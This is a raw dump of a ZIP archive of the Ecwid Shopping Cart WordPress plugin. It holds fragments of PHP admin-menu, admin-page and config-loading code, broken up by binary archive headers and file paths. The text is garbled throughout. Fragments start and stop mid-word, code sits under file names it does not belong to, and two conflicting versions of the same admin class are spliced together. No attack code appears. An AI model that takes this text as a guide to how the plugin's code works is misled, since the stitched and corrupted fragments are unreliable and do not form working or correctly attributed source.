sprintf(__('%s shopping cart settings', 'ecwid-shopping-cart'), Ecwid_Config::get_brand()), sprintf(__('%s', 'ecwid-shopping-cart'), Ecwid_Config::get_brand()), 'manage_options', self::ADMIN_SLUG, array( $page, 'do_page' ), '', '2.562347345' ); if ($is_newbie) { $title = __('Setup', 'ecwid-shopping-cPKÊ—[Õ³8XX<ecwid-shopping-cart/includes/class-ec-store-admin-access.phpnu„[µü¤ed() || !in_array( self::ADMIN_SLUG, $this->_get_menus() ) ) { add_submenu_page( self::ADMIN_SLUG, $title, $title, 'manage_options', self::ADMIN_SLUG, array( $page, 'do_page' ) ); } global $ecwid_oauth; if (!$is_newbie && Ecwid_Api_V3::is_available() ) { if ( !self::are_auto_menus_enabled() ) { add_submenu_page( self::ADMIN_SLUG, __('Sales', 'ecwid-shopping-cart'), __('Sales', 'ecwid-shopping-cart'), 'manage_options', self::ADMIN_SLUG . '-admin-orders', 'ecwid_admin_orders_do_page' ); add_submenu_page( self::ADMIN_SLUG, __('Products', 'ecwid-shopping-cart'), __('Products', 'ecwid-shopping-cart'), 'manage_options', self::ADMIN_SLUG . '-admin-products', 'ecwid_admin_products_do_page' ); } else { $menu = $this->_get_menus(); foreach ( $menu as $item ) { if ( isset( $item['function'] ) ) { add_submenu_page( self::ADMIN_SLUG, $item['title'], $item['title'], self::get_capability(), $item['slug'], $item['function'] ); } else if ( isset( $item['slug'] ) ) { add_submenu_page( self::ADMIN_SLUG, $item['title'], $item['title'], self::get_capability(), $item['slug'], array( $this, 'do_admin_page' ) ); if ( isset( $item['children'] ) ) foreach ($item['children'] as $subitem) { add_submenu_page( null, $subitem['title'], $subitem['title'], self::get_capability(), $subitem['slug'], array( $this, 'do_admin_page' ) ); } } else { add_submenu_page( self::ADMIN_SLUG, $item['title'], $item['title'], self::get_capability(), '', array( $this, 'do_admin_page' ) ); } } } if( !Ecwid_Config::is_wl() ) { add_submenu_page( 'plugins.php', __('Online Store Apps', 'ecwid-shopping-cart'), __('Online Store Apps', 'ecwid-shopping-cart'), 'manage_options', 'admin.php?page=ec-store-admin-appmarket' ); } } if ( !$is_newbie && !Ecwid_Api_V3::is_available() || ecwid_is_demo_store() || isset($_GET['reconnect']) ) { add_submenu_page( self::ADMIN_SLUG, __('Storefront', 'ecwid-shopping-cart'), __('Storefront', 'ecwid-shopping-cart'), self::get_capability(), Ecwid_Admin_Storefront_Page::ADMIN_SLUG, 'Ecwid_Admin_Storefront_Page::do_page' ); } if ( !$is_newbie || ( isset($_GET['page']) && $_GET['page'] == 'ec-store-advanced' ) ) { add_submenu_page( self::ADMIN_SLUG, __('Advanced settings', 'ecwid-shopping-cart'), __('Advanced', 'ecwid-shopping-cart'), self::get_capability(), self::ADMIN_SLUG . '-advanced', 'ecwid_advanced_settings_do_page' ); } add_submenu_page('', 'Ecwid debug', '', 'manage_options', 'ec_debug', 'ecwid_debug_do_page'); add_submenu_page('', 'Ecwid get mobile app', '', 'manage_options', 'ec-admin-mobile', 'ecwid_admin_mobile_do_page'); add_submenu_page('', 'Ecwid params', '', 'manage_options', 'ec-params', 'ecwid_params_do_page'); if (!Ecwid_Config::is_wl()) { add_submenu_page( self::ADMIN_SLUG, __('Help', 'ecwid-shopping-cart'), __('Help', 'ecwid-shopping-cart'), 'manage_options', self::ADMIN_SLUG . '-help', 'ecwid_help_do_page' ); } add_submenu_page('', 'Install ecwid theme', '', 'manage_options', 'ecwid-install-theme', 'ecwid_install_theme'); add_submenu_page('', 'Ecwid sync', '', 'manage_options', 'ec-sync', 'ecwid_sync_do_page'); $pages = array( 'ecwid', 'ecwid-admin-orders', 'ecwid-admin-products', 'ecwid-appearance', 'ecwid-advanced', 'ecwid-help', 'ecwid-debug', 'ecwid-sync' ); foreach ($pages as $page) { add_submenu_page( '', 'Legacy', '', 'manage_options', $page, array( $this, 'do_ec_redirect' ) ); } if ( self::are_auto_menus_enabled() && Ecwid_Api_V3::is_available() && !ecwid_is_demo_store() ) { add_options_page( __( 'Store', 'ecwid-shopping-cart' ), __( 'Store', 'ecwid-shopping-cart' ), self::get_capability(), 'admin.php?page=' . self::ADMIN_SLUG . '-admin-store-profile' ); add_users_page( __( 'Customers', 'ecwid-shopping-cart' ), __( 'Customers', 'ecwid-shopping-cart' ), self::get_capability(), 'admin.php?page=' . self::ADMIN_SLUG . '-admin-customers' ); if( !Ecwid_Admin_Storefront_Page::is_gutenberg_active() ) { add_theme_page( __( 'Store', 'ecwid-shopping-cart' ), __( 'Store', 'ecwid-shopping-cart' ), self::get_capability(), 'admin.php?page=' . self::ADMIN_SLUG . '-admin-design' ); } } } public function do_admin_page() { $menus = $this->_get_menus(); $admin_prefix = self::ADMIN_SLUG . '-admin-'; $wp_slug = get_current_screen()->base; $slug = substr( get_current_screen()->base, strpos( $wp_slug, $admin_prefix ) ); $menu = $this->_get_menus(); $hash = ''; foreach ($menu as $item) { if ( isset($item['slug']) && $item['slug'] == $slug ) { $hash = $item['hash']; break; } if ( isset($item['children']) && $item['children'] ) { foreach ( $item['children'] as $child ) { if ($child['slug'] == $slug) { $hash = $child['hash']; break; } } } } // Yeah, in some case there might be a collision between the wp slug and ecwid hash if some hasPKÊ—[!ì›àà:ecwid-shopping-cart/includes/class-ec-store-defer-init.phpnu„[µü¤nction ajax_update_menu() { if (! current_user_can( self::get_capability() ) ) { die(); } if (!isset( $_POST['menu'] ) ) { die(); } EcwidPlatform::set( 'admin_menu', $_POST['menu'] ); echo json_encode( $this->_get_menus() ); die(); } public function maybe_hide_menu_item( $item ) { if( !isset( $item['path'] ) ) { return false; } $hidden_items_path = array( 'dashboard', 'starter-site', 'website', 'website-overview', 'website-design', ); if( class_exists('Ecwid_Admin_Storefront_Page') && Ecwid_Admin_Storefront_Page::is_gutenberg_active() ) { $hidden_items_path[] = 'design'; } return in_array( $item['path'], $hidden_items_path ); } protected function _get_menus() { $menu = EcwidPlatform::get( 'admin_menu' ); if ( is_null( $menu ) ) { $menu = $this->_get_default_menu(); } $slugs = array(); $result = array(); $is_storefront_menu_item_added = false; $menu_storefront = array( 'title' => __('Storefront', 'ecwid-shopping-cart'), 'slug' => Ecwid_Admin_Storefront_Page::ADMIN_SLUG, 'url' => 'admin.php?page=' . Ecwid_Admin_Storefront_Page::ADMIN_SLUG ); foreach ( $menu as $item ) { $menu_item = array(); if( $item['type'] == 'menuItem' && $item['path'] == 'payments' ) { $result[] = $menu_storefront; $is_storefront_menu_item_added = true; } if( $this->maybe_hide_menu_item( $item ) ) { unset( $menu[$item['path']] ); continue; } $menu_item['title'] = stripslashes($item['title']); if ( @$item['type'] != 'separator' ) { $slug = $this->_slugify_ecwid_cp_hash( $item['path'], $slugs ); $menu_item['url'] = 'admin.php?page=' . $slug; $menu_item['slug'] = $slug; $menu_item['hash'] = $item['path']; $slugs[] = $slug; } else { $menu_item['type'] = 'separator'; } if ( isset( $item['items'] ) ) foreach ( $item['items'] as $item2 ) { if( $item2['title'] == 'Website' ) { $item2['title'] = __( 'Instant site', 'ecwid-shopping-cart' ); } $slug2 = $this->_slugify_ecwid_cp_hash( $item2['path'], $slugs ); $slugs[] = $slug2; $item2['url'] = 'admin.php?page=' . $slug2; $item2['slug'] = $slug2; $item2['hash'] = $item2['path']; $item2['title'] = stripslashes( $item2['title'] ); $menu_item['children'][] = $item2; } $result[] = $menu_item; } if( !$is_storefront_menu_item_added ) { $result[] = $menu_storefront; } return $result; } protected function _slugify_ecwid_cp_hash( $hash, $slugs ) { if ( strpos( $hash, ':' ) === false && !in_array( self::ADMIN_SLUG . '-admin-' . $hash, $slugs ) ) { $slug = $hash; } else { $match = array(); $slug = $hash; $result = preg_match_all( '#[\p{L}0-9\-_]+#u', $slug, $match ); if ( $result && count( @$match[0] ) > 0 ) { $slug = implode('-', $match[0] ); } $prefix = ''; while( in_array( $slug . $prefix, $slugs ) ) { $prefix = intval( $prefix ) + 1; } if ( $prefix ) { $slug .= $prefix; } } $slug = self::ADMIN_SLUG . '-admin-' . $slug; return $slug; } public function do_ec_redirect() { $screen = get_current_screen(); $base = $screen->base; if ( strpos( $base, 'admin_page_ecwid' ) === false ) return; $page = str_replace('admin_page_ecwid', Ecwid_Admin::ADMIN_SLUG, $base ); wp_safe_redirect( admin_url('admin.php?page=' . $page ), 301 ); exit(); } static public function get_capability() { return 'manage_options'; } static public function get_dashboard_url() { return admin_url( self::get_relative_dashboard_url() ); } static public function get_relative_dashboard_url() { return 'admin.php?page=' . Ecwid_Admin::ADMIN_SLUG; } static public function are_auto_menus_enabled() { if ( get_option( self::OPTION_ENABLE_AUTO_MENUS ) == self::OPTION_ENABLE_AUTO_MENUS_OFF ) { return false; } if ( get_option( self::OPTION_ENABLE_AUTO_MENUS ) == self::OPTION_ENABLE_AUTO_MENUS_ON ) { return true; } return true; } static public function disable_dashboard() { if ( !isset( $_GET['reconnect'] ) ) { if ( get_option( 'ecwid_disable_dashboard' ) == 'on' ) { return true; } elseif ( get_option( 'ecwid_disable_dashboard' ) != 'off' && @$_COOKIE[ 'ecwid_is_safari' ] == 'true' ) { return true; } } return false; } protected function _get_default_menu() { static $default_menu = array(); if ( !empty( $default_menu ) ) return $default_menu; $default_menu = array ( array ( 'title' => __( 'Store management', 'ecwid-shopping-cart' ), 'type' => 'separator' ), array( 'title' => __( 'Dashboard', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'dashboard' ), array ( 'title' => __( 'My SalPKÊ—[’¼[,ŽŽ@ecwid-shopping-cart/includes/class-ec-store-sitemap-provider.phpnu„[µü¤( 'Catalog', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'products' ), array( 'title' => __( 'Marketing', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'marketing' ), array( 'title' => __( 'Reports', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'reports' ), array( 'title' => __( 'Sales channels', 'ecwid-shopping-cart' ), 'type' => 'separator' ), array( 'title' => __( 'Sell on Facebook', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'fb-shops' ), array( 'title' => __( 'Mobile', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'mobile' ), array( 'title' => __( 'Website', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'website' ), array( 'title' => __( 'All Sales Channels', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'sales-channel' ), array( 'title' => __( 'Configuration', 'ecwid-shopping-cart' ), 'type' => 'separator' ), array( 'title' => __( 'Design', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'desiPKÊ—[Kjœîî6ecwid-shopping-cart/includes/class-ec-store-wp-cli.phpnu„[µü¤ 'path' => 'payments' ), array( 'title' => __( 'Shipping & Pickup', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'shippings' ), array( 'title' => __( 'Settings', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'store-profile' ), array( 'title' => __( 'Apps', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'appmarket' ), array( 'title' => __( 'My Profile', 'ecwid-shopping-cart' ), 'type' => 'menuItem', 'path' => 'billing' ), ); return $default_menu; } } $ecwid_admin = new Ecwid_Admin(); PKÊ—[zƒý=ý=Becwid-shopping-cart/includes/class-ecwid-admin-storefront-page.phpnu„[µü¤_is_whitelabel_mode_with_no_registration() || $this->_is_oauth_error() || $this->_is_current_user_email_registered_at_ecwid() || self::is_forced_reconnect() ) { $this->_do_simple_connect_page(); return; } else { $this->_do_fancy_connect_page(); return; } } if ( $is_demo && !$is_api_connection_ok ) { $this->_do_legacy_connect_page(); return; } if ( !$is_demo ) { if ( $this->_is_connect_error() ) { $this->_do_simple_reconnect_page(); return; } else if ( !$is_api_connection_ok || Ecwid_Admin::disable_dashboard() ) { $this->_do_simple_dashboard_page(); return; } else { $this->_do_integrated_admin_page(); return; } } } public static function uses_integrated_admin() { $page = new Ecwid_Admin_Main_Page(); return !ecwid_is_demo_store() && !$page->_is_connect_error() && !Ecwid_Api_V3::connection_fails() && !Ecwid_Admin::disable_dashboard(); } public static function do_integrated_admin_page( $page = self::PAGE_HASH_DASHBOARD ) { $this_obj = new Ecwid_Admin_Main_Page(); $this_obj->_do_integrated_admin_page( $page ); } public function _do_integrated_admin_page( $page = self::PAGE_HASH_DASHBOARD ) { if (isset($_GET['show_timeout']) && $_GET['show_timeout'] == '1') { require_once ECWID_PLUGIN_DIR . 'templates/admin-timeout.php'; die(); } if (Ecwid_Api_V3::get_token() == false) { require_once ECWID_PLUGIN_DIR . 'templates/reconnect-sso.php'; die(); } global $ecwid_oauth; if (isset($_GET['ec-page']) && $_GET['ec-page']) { $page = $_GET['ec-page']; } if (isset($_GET['ec-store-page']) && $_GET['ec-store-page']) { $page = $_GET['ec-store-page']; } if ( $page == self::PAGE_HASH_UPGRADE ) { update_option('ecwid_api_check_time', time() - ECWID_API_AVAILABILITY_CHECK_TIME + 10 * 60); } if ( $page == self::PAGE_HASH_DASHBOARD ) { $show_reconnect = true; } $time = time() - get_option('ecwid_time_correction', 0); $iframe_src = ecwid_get_iframe_src($time, $page); if( !$iframe_src ) { $this->_do_simple_connect_page(); return; } $request = Ecwid_Http::create_get('embedded_admin_iframe', $iframe_src, array(Ecwid_Http::POLICY_RETURN_VERBOSE)); if (!$request) { Ecwid_Message_Manager::show_message('no_oauth'); return; } $result = $request->do_request(); if ( @$result['code'] == 403 && ( strpos($result['data'], 'Token too old') !== false || strpos($result['data'], 'window.top.location = \'https://my.ecwid.com/api/v3/' . get_ecwid_store_id() . '/sso?') !== false ) ) { if (isset($result['headers']['date'])) { $time = strtotime($result['headers']['date']); $iframe_src = ecwid_get_iframe_src($time, $page); $request = Ecwid_Http::create_get('embedded_admin_iframe', $iframe_src, array(Ecwid_Http::POLICY_RETURN_VERBOSE)); if (!$request) { Ecwid_Message_Manager::show_message('no_oauth'); return; } $result = $request->do_request(); if ($result['code'] == 200) { update_option('ecwid_time_correction', time() - $time); } } $iframe_src = ecwid_get_iframe_src($time, $page); $request = Ecwid_Http::create_get('embedded_admin_iframe', $iframe_src, array(Ecwid_Http::POLICY_RETURN_VERBOSE)); $result = $request->do_request(); } if ( $result['code'] == 403 ) { Ecwid_Api_V3::save_token(''); } if ( empty( $result['code'] ) && empty( $result['data'] ) || $result['code'] == 500 ) { require_once ECWID_PLUGIN_DIR . 'templates/admin-timeout.php'; } else if ($result['code'] != 200) { if (ecwid_test_oauth(true)) { require_once ECWID_PLUGIN_DIR . 'templates/reconnect-sso.php'; } else { require_once ECWID_PLUGIN_DIR . 'templates/dashboard.php'; } } else { require_once ECWID_PLUGIN_DIR . 'templates/ecwid-admin.php'; } } public static function is_forced_reconnect() { return isset( $_GET['reconnect'] ); } protected static function _get_upgrade_page_hash() { return 'billing:feature=sso&plan=ecwid_venture'; } protected function _do_simple_dashboard_page() { require_once ECWID_ADMIN_TEMPLATES_DIR . '/simple-dashboard.php'; } protected function _do_simple_connect_page() { require_once ECWID_ADMIN_TEMPLATES_DIR . '/simple-connect.tpl.php'; } protected function _do_simple_reconnect_page() { require_once ECWID_ADMIN_TEMPLATES_DIR . '/simple-reconnect.tpl.php'; } protected function _do_fancy_connect_page() { require_once ECWID_ADMIN_TEMPLATES_DIR . '/landing.tpl.php'; } protected function _do_legacy_connect_page() { wp_enqueue_style('legacy-connect', ECWID_PLUGIN_URL . '/css/legacy-connect.css'); require_once ECWID_ADMIN_TEMPLATES_DIR . '/legacy-connect.tpl.php'; } protected function _is_whitelabel_mode_with_no_registration() { return Ecwid_Config::is_no_reg_wl(); } protected function _is_oauth_error() { $connection_error = isset( $_GET['connection_error'] ); $no_oauth = @$_GET['oauth'] == 'no'; return isset( $connection_error ) && $no_oauth; } protected function _is_current_user_email_registered_at_ecwid() { $api = new Ecwid_Api_V3(); $current_user = wp_get_current_user(); return $api->does_store_exist( $current_user->user_email ); } protected function _is_connect_error() { return isset( $_GET['connection_error'] ); } } $_ecwid_admin_main_page = new Ecwid_Admin_Main_Page();PKÊ—[Ø9Åa)a)2ecwid-shopping-cart/includes/class-ecwid-admin.phpnu„[µü¤ __('Dashboard', 'ecwid-shopping-cart'), 'dashboard_url' => Ecwid_Admin::get_relative_dashboard_url(), 'menu' => self::are_auto_menus_enabled() ? $menu : array(), 'baseSlug' => self::ADMIN_SLUG, 'enableAutoMenus' => self::are_auto_menus_enabled(), 'actionUpdateMenu' => self::AJAX_ACTION_UPDATE_MENU )); } public function build_menu() { $is_newbie = ecwid_is_demo_store(); if ( Ecwid_Admin_Main_Page::is_forced_reconnect() ) { $is_newbie = true; } $page = new Ecwid_Admin_Main_Page(); add_menu_page( sprintf(__('%s shopping cart settings', 'ecwid-shopping-cart'), Ecwid_Config::get_brand()), sprintf(__('%s', 'ecwid-shopping-cart'), Ecwid_Config::get_brand()), 'manage_options', self::ADMIN_SLUG, array( $page, 'do_page' ), '', '2.562347345' ); if ($is_newbie) { $title = __('Setup', 'ecwid-shopping-cart'); } else { $title = __('Dashboard', 'ecwid-shopping-cart'); } if ( !self::are_auto_menus_enabled() || !in_array( self::ADMIN_SLUG, $this->_get_menus() ) ) { add_submenu_page( self::ADMIN_SLUG, $title, $title, 'manage_options', self::ADMIN_SLUG, array( $page, 'do_page' ) ); } global $ecwid_oauth; if (!$is_newbie && Ecwid_Api_V3::is_available() ) { if ( !self::are_auto_menus_enabled() ) { add_submenu_page( self::ADMIN_SLUG, __('Sales', 'ecwid-shopping-cart'), __('Sales', 'ecwid-shopping-cart'), 'manage_options', self::ADMIN_SLUG . '-admin-orders', 'ecwid_admin_orders_do_page' ); add_submenu_page( self::ADMIN_SLUG, __('Products', 'ecwid-shopping-cart'), __('Products', 'ecwid-shopping-cart'), 'manage_options', self::ADMIN_SLUG . '-admin-products', 'ecwid_admin_products_do_page' ); } else { $menu = $this->_get_menus(); foreach ( $menu as $item ) { if ( isset( $item['slug'] ) ) { add_submenu_page( self::ADMIN_SLUG, $item['title'], $item['title'], self::get_capability(), $item['slug'], array( $this, 'do_admin_page' ) ); if ( isset( $item['children'] ) ) foreach ($item['children'] as $subitem) { add_submenu_page( null, $subitem['title'], $subitem['title'], self::get_capability(), $subitem['slug'], array( $this, 'do_admin_page' ) ); } } else { add_submenu_page( self::ADMIN_SLUG, $item['title'], $item['title'], self::get_capability(), '', array( $this, 'do_admin_page' ) ); } } } if( !Ecwid_Config::is_wl() ) { add_submenu_page( 'plugins.php', __('Online Store Apps', 'ecwid-shopping-cart'), __('Online Store Apps', 'ecwid-shopping-cart'), 'manage_options', 'admin.php?page=ec-store-admin-appmarket' ); } } if ( !$is_newbie || ( isset($_GET['page']) && $_GET['page'] == 'ec-store-advanced' ) ) { add_submenu_page( self::ADMIN_SLUG, __('Advanced settings', 'ecwid-shopping-cart'), __('Advanced', 'ecwid-shopping-cart'), self::get_capability(), self::ADMIN_SLUG . '-advanced', 'ecwid_advanced_settings_do_page' ); } add_submenu_page('', 'Ecwid debug', '', 'manage_options', 'ec_debug', 'ecwid_debug_do_page'); add_submenu_page('', 'Ecwid get mobile app', '', 'manage_options', 'ec-admin-mobile', 'ecwid_admin_mobile_do_page'); add_submenu_page('', 'Ecwid params', '', 'manage_options', 'ec-params', 'ecwid_params_do_page'); if (!Ecwid_Config::is_wl()) { add_submenu_page( self::ADMIN_SLUG, __('Help', 'ecwid-shopping-cart'), __('Help', 'ecwid-shopping-cart'), 'manage_options', self::ADMIN_SLUG . '-help', 'ecwid_help_do_page' ); } add_submenu_page('', 'Install ecwid theme', '', 'manage_options', 'ecwid-install-theme', 'ecwid_install_theme'); add_submenu_page('', 'Ecwid sync', '', 'manage_options', 'ec-sync', 'ecwid_sync_do_page'); $pages = array( 'ecwid', 'ecwid-admin-orders', 'ecwid-admin-products', 'ecwid-appearance', 'ecwid-advanced', 'ecwid-help', 'ecwid-debug', 'ecwid-sync' ); foreach ($pages as $page) { add_submenu_page( '', 'Legacy', '', 'manage_options', $page, array( $this, 'do_ec_redirect' ) ); } if ( self::are_auto_menus_enabled() && Ecwid_Api_V3::is_available() && !ecwid_is_demo_store() ) { add_options_page( __( 'Store', 'ecwid-shopping-cart' ), __( 'Store', 'ecwid-shopping-cart' ), self::get_capability(), 'admin.php?page=' . self::ADMIN_SLUG . '-admin-store-profile' ); add_users_page( __( 'Customers', 'ecwid-shopping-cart' ), __( 'Customers', 'ecwid-shopping-cart' ), self::get_capability(), 'admin.php?page=' . self::ADMIN_SLUG . '-admin-customers' ); add_theme_page( __( 'Store', 'ecwid-shopping-cart' ), __( 'Store', 'ecwid-shopping-cart' ), self::get_capability(), 'admin.php?page=' . self::ADMIN_SLUG . '-admin-design' ); } } public function do_admin_page() { $menus = $this->_get_menus(); $admin_prefix = self::ADMIN_SLUG . '-admin-'; $wp_slug = get_current_screen()->base; $slug = substr( get_current_screen()->base, strpos( $wp_slug, $admin_prefix ) ); $menu = $this->_get_menus(); foreach ($menu as $item) { if ( isset($item['slug']) && $item['slug'] == $slug ) { $hash = $item['hash']; break; } if ( isset($item['children']) && $item['children'] ) { foreach ( $item['children'] as $child ) { if ($child['slug'] == $slug) { $hash = $child['hash']; break; } } } } // Yeah, in some case there might be a collision between the wp slug and ecwid hash if some hashes collide into the same slug ecwid_admin_do_page( $hash ); } public function ajax_update_menu() { if (! current_user_can( self::get_capability() ) ) { die(); } if (!isset( $_POST['menu'] ) ) { die(); } EcwidPlatform::set( 'admin_menu', $_POST['menu'] ); echo json_encode( $this->_get_menus() ); die(); } protected function _get_menus() { $menu = EcwidPlatform::get( 'admin_menu' ); if ( is_null( $menu ) ) { $menu = $this->_get_default_menu(); } $slugs = array(); $result = array(); foreach ( $menu as $item ) { $menu_item = array(); if ( isset( $item['path'] ) && $item['path'] == 'dashboard' ) { unset( $menu[$item['path']] ); continue; } $menu_item['title'] = stripslashes($item['title']); if ( @$item['type'] != 'separator' ) { $slug = $this->_slugify_ecwid_cp_hash( $item['path'], $slugs ); $menu_item['url'] = 'admin.php?page=' . $slug; $menu_item['slug'] = $slug; $menu_item['hash'] = $item['path']; $slugs[] = $slug; } else { $menu_item['type'] = 'separator'; } if ( isset( $item['items'] ) ) foreach ( $item['items'] as $item2 ) { $slug2 = $this->_slugify_ecwid_cp_hash( $item2['path'], $slugs ); $slugs[] = $slug2; $item2['url'] = 'admin.php?page=' . $slug2; $item2['slug'] = $slug2; $item2['hash'] = $item2['path']; $item2['title'] = stripslashes( $item2['title'] ); $menu_item['children'][] = $item2; } $result[] = $menu_item; } return $result; } protected function _slugify_ecwid_cp_hash( $hash, $slugs ) { if ( strpos( $hash, ':' ) === false && !in_array( self::ADMIN_SLUG . '-admin-' . $hash, $slugs ) ) { $slug = $hash; } else { $match = array(); $slug = $hash; $result = preg_match_all( '#[\p{L}0-9\-_]+#u', $slug, $match ); if ( $result && count( @$match[0] ) > 0 ) { $slug = implode('-', $match[0] ); } $prefix = ''; while( in_array( $slug . $prefix, $slugs ) ) { $prefix = intval( $prefix ) + 1; } if ( $prefix ) { $slug .= $prefix; } } $slug = self::ADMIN_SLUG . '-admin-' . $slug; return $slug; } protected function _get_default_menu() { static $default_menu = array(); if ( !empty( $default_menu ) ) return $default_menu; $default_menu = array( array( 'title' => __( 'Sales', 'ecwid-shopping-cart' ), 'path' => 'orders', ), array( 'title' => __( 'Products', 'ecwid-shopping-cart' ), 'path' => 'products' ) ); return $default_menu; } public function do_ec_redirect() { $screen = get_current_screen(); $base = $screen->base; if ( strpos( $base, 'admin_page_ecwid' ) === false ) return; $page = str_replace('admin_page_ecwid', Ecwid_Admin::ADMIN_SLUG, $base ); wp_redirect( admin_url('admin.php?page=' . $page ), 301 ); exit(); } static public function get_capability() { return 'manage_options'; } static public function get_dashboard_url() { return admin_url( self::get_relative_dashboard_url() ); } static public function get_relative_dashboard_url() { return 'admin.php?page=' . Ecwid_Admin::ADMIN_SLUG; } static public function are_auto_menus_enabled() { if ( get_option( self::OPTION_ENABLE_AUTO_MENUS ) == self::OPTION_ENABLE_AUTO_MENUS_OFF ) { return false; } if ( get_option( self::OPTION_ENABLE_AUTO_MENUS ) == self::OPTION_ENABLE_AUTO_MENUS_ON ) { return true; } return true; } static public function disable_dashboard() { if ( !isset( $_GET['reconnect'] ) ) { if ( get_option( 'ecwid_disable_dashboard' ) == 'on' ) { return true; } elseif ( get_option( 'ecwid_disable_dashboard' ) != 'off' && @$_COOKIE[ 'ecwid_is_safari' ] == 'true' ) { return true; } } return false; } } $ecwid_admin = new Ecwid_Admin(); PKÊ—[néeBBBecwid-shopping-cart/includes/class-ecwid-admin-storefront-page.phpnu„[µü¤EY ); } public static function get_store_id() { return EcwidPlatform::get( self::STORE_ID, null ); } public static function get_token() { return EcwidPlatform::get( self::TOKEN, null ); } public static function overrides_token() { return (bool)self::get_token(); } public static function get_api_domain() { return EcwidPlatform::get( self::API_DOMAIN, 'app.ecwid.com' ); } public static function get_scriptjs_domain() { return EcwidPlatform::get( self::FRONTEND_DOMAIN, 'app.ecwid.com' ); } public static function get_cpanel_domain() { return EcwidPlatform::get( self::CPANEL_DOMAIN, 'my.ecwid.com' ); } // ALWAYS use ecwid_get_demo_store_id or ecwid_is_demo_store instead of this function public static function get_demo_store_id() { return EcwidPlatform::get( self::DEMO_STORE_ID, null ); } public static function load_from_ini() { $filename = apply_filters('ecwid_config_ini_path', ECWID_PLUGIN_DIR . 'config.ini'); $result = false; if ( file_exists( $filename ) ) { $result = @parse_ini_file($filename); } if ( !$result ) { return; } self::_apply_config( $result ); } public static function is_cli_running() { return defined( 'WP_CLI' ) && WP_CLI; } public static function load_from_cli( $config ) { if ( !$config ) { return; } $common_config = self::_get_common_config(); $token_config_name = $common_config[self::TOKEN]; if( isset( $config[$token_config_name] ) ) { Ecwid_Api_V3::save_token( $config[$token_config_name] ); } self::_apply_config( $config ); } public static function enqueue_styles() { if ( !self::is_wl() ) { return; } wp_enqueue_style( 'ecwid-wl', ECWID_PLUGIN_URL . 'css/wl.css', array( 'ecwid-admin-css' ), get_option( 'ecwid_plugin_version' ) ); } /** * @return array */ protected static function _get_wl_config() { $wl_config = array( self::IS_WL => 'wl_mode', self::BRAND => 'brand', self::CONTACT_US_URL => 'contact_us_url', self::KB_URL => 'kb_url', self::REGISTRATION_URL => 'registration_url', self::OAUTH_TOKEN_URL => 'oauth_token_url', self::OAUTH_AUTH_URL => 'oauth_authorize_url', ); return $wl_config; } /** * @return array */ protected static function _get_common_config() { $common_config = array( self::OAUTH_APPID => 'oauth_appid', self::OAUTH_APPSECRET => 'oauth_appsecret', self::TOKEN => 'oauth_token', self::STORE_ID => 'store_id', self::CHANNEL_ID => 'channel_id', self::API_DOMAIN => 'api_domain', self::FRONTEND_DOMAIN => 'scriptjs_domain', self::CPANEL_DOMAIN => 'cp_domain', self::DEMO_STORE_ID => 'demo_store_id' ); return $common_config; } /** * @param $values */ protected static function _apply_config( $values ) { $wl_config = self::_get_wl_config(); $common_config = self::_get_common_config(); $empty_is_allowed = array( self::REGISTRATION_URL ); $is_wl_enabled = @$values['wl_mode']; foreach ( $wl_config as $name => $ini_name ) { $value = @$values[ $ini_name ]; if ( $is_wl_enabled && ( $value || in_array( $value, $empty_is_allowed ) ) ) { EcwidPlatform::set( $name, @$values[ $ini_name ] ); } else { EcwidPlatform::reset( $name ); } } if ( isset( $values[ self::TOKEN ] ) && ! isset( $values[ self::STORE_ID ] ) || ! isset( $values[ self::TOKEN ] ) && isset( $values[ self::STORE_ID ] ) ) { unset( $values[ self::TOKEN ] ); unset( $values[ self::STORE_ID ] ); } foreach ( $common_config as $name => $ini_name ) { $value = @$values[ $ini_name ]; if ( $value ) { EcwidPlatform::set( $name, $value ); } else { EcwidPlatform::reset( $name ); } } ecwid_invalidate_cache( true ); } } add_action( 'admin_enqueue_scripts', array( 'Ecwid_Config', 'enqueue_styles' ) );PKÊ—[΢û77>ecwid-shopping-cart/includes/class-ecwid-custom-admin-page.phpnu„[µü¤id == 'plugin-install' ){ add_filter( 'install_plugins_tabs', array( $this, 'plugin_install_init_tab'), 10, 1 ); add_action( 'install_plugins_' . self::TAB_NAME, array( $this, 'plugin_install_render_tab'), 10, 1 ); } if( $current_screen->id == 'theme-install' ){ add_action( 'install_themes_tabs', array( $this, 'themes_install_init_tab') ); add_action( 'wp_ajax_query-themes', array( $this, 'themes_install_ajax'), 1 ); } } public function get_iframe_html( $iframe_src ) { $html = ''; return $html; } public function plugin_install_init_tab( $tabs ) { $tabs[ self::TAB_NAME ] = __('Plugins for Ecwid', 'ecwid-shopping-cart'); return $tabs; } public function plugin_install_render_tab( $paged ) { $iframe_src = ecwid_get_iframe_src( time(), 'appmarket' ); $iframe_src .= '&hide_profile_header=true'; echo <<//

    HTML; echo $this->get_iframe_html( $iframe_src ); } public function themes_install_init_tab( $tabs ) { $iframe_src = ecwid_get_iframe_src( time(), 'apps:view=app&name=templatemonster-themes' ); $iframe_src .= '&hide_profile_header=true'; $tab_content = sprintf( __( 'Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend TemplateMonster themes' , 'ecwid-shopping-cart' ), 'https://www.templatemonster.com/ecwid-ready-wordpress-themes/?aff=Ecwid' ); $tab_content = sprintf( '
    %s
    ', $tab_content ); $link_html = sprintf( '
  • %s
